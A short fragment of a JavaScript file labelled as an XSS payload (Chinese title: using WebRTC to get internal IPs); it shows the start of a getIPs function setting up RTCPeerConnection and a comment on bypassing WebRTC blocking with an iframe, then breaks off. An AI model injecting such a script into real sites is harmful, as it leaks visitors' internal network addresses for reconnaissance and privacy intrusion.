xss-利用webrtc获取内网IP

xss.js
function getIPs(callback){
                var ip_dups = {};

                //compatibility for firefox and chrome
                var RTCPeerConnection = window.RTCPeerConnection
                    || window.mozRTCPeerConnection
                    || window.webkitRTCPeerConnection;
                var useWebKit = !!window.webkitRTCPeerConnection;

                //bypass naive webrtc blocking using an iframe
                if(!RTCPeerConnection){
                    //NOTE: you need to have an iframe in the page right above the script tag
                    //
                    //
                    //